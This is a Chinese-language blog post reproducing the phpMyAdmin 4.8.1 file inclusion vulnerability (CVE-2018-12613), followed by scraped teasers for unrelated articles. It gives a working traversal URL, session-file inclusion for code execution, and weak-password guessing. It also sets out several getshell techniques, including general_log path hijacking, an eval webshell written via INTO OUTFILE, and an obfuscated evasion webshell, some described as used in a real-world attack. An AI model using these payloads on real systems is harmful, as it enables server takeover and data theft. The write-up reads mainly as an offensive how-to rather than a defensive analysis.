phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,
通过二次编码即可绕过检查,造成远程文件包含漏洞。
受影响版本:
phpMyAdmin 4.8.0和4.8.1受到影响。
漏洞复现:
本次实验环境基于docker搭建,启动环境,使用一波phpmyadmin的弱口令,像
root/root,root/123456,root/toor....登进后台
不得不说phpmyadmin自从2.x版本有个前台登陆绕过后,到现在前台还没出现过其他的漏洞,
希望广大伙伴多多挖掘呀!!
使用弱口令 test/test ,成功登陆phpmyadmin后台:
访问 http://192.168.0.132:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,
可见/etc/passwd被读取,说明文件包含漏洞存在:
利用方式也比较简单,可以执行一下 SELECT '<?php phpinfo()?>'; ,然后查看自己的sessionid(cookie中phpMyAdmin的值):
这样对应的SESSION文件为 /tmp/sess_sessionid
然后在网址中包含session文件即可:
可以看到顺利执行了phpinfo();
可想而知如果我们select一个php一句话木马,用菜刀连接,整站就可以被我们控制。
.......
实战演练:
到phpmyadmin后台后,getshell方法还很多,比如利用改变写入的日志的路径,写入我们的一句话木马,
首先呢,介绍两个MySQL全局变量(general_log、general_log file)
general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
general log file 指的是日志的保存路径
mysql 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。
查看日志状态:
SHOW VARIABLES LIKE 'general%';
当 general_log=ON 时,所执行的sql语句都会出现在 /var/lib/mysql/1e164993aaf5.log 文件
那么,如果把 general_log_file 的路径修改为 /var/lib/mysql/1.php,那么所执行的sql语句就会保存在
1.php中,如果我们执行一个php小马,就可以getshell:
SET GLOBAL general_log='on'
SET GLOBAL general_log_file='D:/wwwroot/1.php'
如果输入不存在的路径时:
或许我们可以利用这个来探测目录结构,如果路径正确的话
这样的话在相应的目录下就会生成一个1.php,由于我们是实战,所以无法截图...
再次查看日志的状态:
OK!!!满足要求!
将一句话木马写入1.php文件,既然是日志文件,我们select查询自然也会被保存在日志里面:
我们构造 :select '<?php phpinfo();?>'
这时候相当于我们把 <?php phpinfo();?> 写入到日志 1.php中,我们尝试访问
日志文件:1.php
成功getshell!!!
-------------------------------------------------------
还有一种方法就是一句话木马的写入:
select '<?php eval($_POST[cmd]); ?>' into outfile 'D:/phpStudy/www/1.php';
当然,前提是你得知道网站的绝对路径,方法也有很多,比如通过报错获取路径,通过phpinfo.php等等
但在新版的mysql中,这句话并没有运行成功,应为mysql新特性secure_file_priv会对读写文件产生影响,
该参数用来限制导入导出,可以查看该参数:
当secure_file_priv为NULL时,表示限制mysql不允许导入导出。所以爆出错误
要想使得该语句导出成功,则需要在mysql文件夹下修改my.ini 文件,
在[mysqld]内加入secure_file_priv ="" 即可
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
此时就可以执行导出命令,这里不再复现
附一个数据库开启外链的命令:
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root密码' WITH GRANT OPTION;
附一个SQL查询免杀shell的语句
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['bmjoker']));?>"
记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)
题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
漏洞详情 范围 phpMyAdmin 4.8.0和4.8.1 原理 首先在index.php 50-63行代码 $target_blacklist = array ( 'import.php', 'e ...
CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现
CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 参考文章1 参考文章2 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞. ...
phpMyAdmin 4.8.x 本地文件包含漏洞利用
phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...
DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)
DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553) 一.漏洞描述 该漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当 ...
dedecmsv5.7sp1远程文件包含漏洞审计
dedecms5.7 sp1版本存在远程文件包含漏洞,在此记录审计复现漏洞过程. 漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆 ...
php本地及远程文件包含漏洞
在php程序中包含有file inclusion的时候,php要开启一下两个功能: allow_url_fopen onallow_url_include on 但是开启这两个功能之后伴随的是url漏 ...
php远程文件包含截断问题
今天在学习一书是,提到一个php远程文件包含漏洞 可以从攻击者服务器中的一个写好的攻击脚本中远程执行命令 服务器中有漏洞的页面代码为: #test.php#error ...
PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)
摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...
随机推荐
USB协议规范学习(一)
什么是USB OHCI规范? OHCI(Open HCI)是目前使用比较广泛的三种USB主机控制器规范之一.USB体系结构是由四个主要部分组成:客户软件/USB驱动,主机控制器驱动(HCD),主机控制 ...
【BZOJ】2078: [POI2004]WYS
题意: 给n个互不相交的多边形(边均平行于坐标轴),问最大深度.深度的定义是,若多边形A被多边形B包含,则\(dep[A]=max(dep[B])+1\).坐标系的深度为0.(n<=40000, ...
SQL Server 中的嵌套事务与@@TranCount(转)
在处理事务的时候,一般都用RollBack Transaction来回滚,但是如果在嵌套事务中这样使用的话,就会出现错误. 在SqlServer里,嵌套事务的层次是由@@TranCount全局变量反映 ...
Android与JS混编(js调用android相机)
参考android相机调用,http://blog.csdn.net/yanzi1225627/article/details/33028041/,谢谢 相机怎么调用就不做赘述了,下面是js调用 ...
[NOI 2014]动物园
Description 题库链接 \(t\) 组询问.每组询问给出一个字符串 \(S\) .要求求出一个 \(num\) 数组一一对于字符串 \(S\) 的前 \(i\) 个字符构成的子串,既是它的后 ...
buils tool是什么?为什么使用build tool?java主流的build tool
定义: build tool是可以自动由源代码创建可执行的应用程序的程序. Building 包括编译.链接和打包代码成一个可用的或可执行形式. 在小型项目,开发人员常常会手动调用构建过程.在更大的项 ...
samba安装
第一步下载: wget https://download.samba.org/pub/samba/stable/samba-4.6.7.tar.gz 看了下没看到啥有用的直接安装: ./configu ...
Linux - 磁盘操作
Linux 磁盘常见操作 : df -Ph # 查看硬盘容量 df -T # 查看磁盘分区格式 df -i # 查看inode节点 如果inode用满后无法创建文件 du -h 目录 # 检测目录下所 ...
Oracle解析复杂json的方法(转)
转:Oracle解析复杂json的方法 问题背景: 当前在Oracle数据库(11G之前的版本)解析json没有可以直接使用的系统方法,网上流传的PLSQL脚本大多也只可以解析结构较单一的json串, ...
python学习笔记(requests)
昨天用jmeter尝试了下接口测试 在部分接口中要上传文件这里遇到了问题.今天改用python的requests框架试下 先简单的写了个登录的接口.本人初学者,第一次写接口脚本 #!/usr/bin/ ...